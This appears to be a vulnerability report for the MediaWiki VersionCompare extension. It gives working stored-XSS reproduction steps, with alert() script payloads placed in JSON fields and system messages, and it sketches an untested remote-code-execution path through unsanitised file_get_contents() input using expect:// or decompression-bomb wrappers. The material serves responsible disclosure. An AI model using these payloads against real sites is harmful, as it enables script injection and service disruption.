For XSS:

1. Upload the following to a public file host:

{
  "query": {
    "general": {
      "wikiid": "<script>alert('malicious wikiid, line 194/204')</script>",
      "servername": "<script>alert('malicious servername, line 197/207')</script>",
      "generator": "<script>alert('malicious generator, line 310')</script>"
    },
    "extensions": [
      {
        "name": "<script>alert('malicious extension name, line 292')</script>"
      }
    ]
  }
}

2. Set the system message version-compare-no-version to no version<script>window.vcnvWarn = window.vcnvWarn || alert("version-compare-no-version") || true</script>
3. Set the system message version-compare-same-extension-count-label to Count of extensions and skins on both wikis<script>alert("version-compare-same-extension-count-label")</script>
4. Go to Special:VersionCompare, put in a wiki's API URL in one field and the uploaded file URL in the other, and submit the form

For RCE:
This is untested, but it seems possible. file_get_contents() is called with unsanitised user input (albeit with "junk" appended at the end): https://gerrit.wikimedia.org/r/plugins/gitiles/mediawiki/extensions/VersionCompare/+/refs/heads/master/includes/SpecialVersionCompare.php#108

The function supports a wide array of protocols: https://www.php.net/manual/en/wrappers.php

While this isn't the default PHP configuration, if the PHP server has the expect extension installed, then it can be used for executing shell commands: https://www.depthsecurity.com/blog/exploitation-xml-external-entity-xxe-injection/
Alternatively, since there are the zlib:// and bzip2:// protocols (that also document zip://), one could use a decompression bomb, such as https://www.bamsoftware.com/hacks/zipbomb/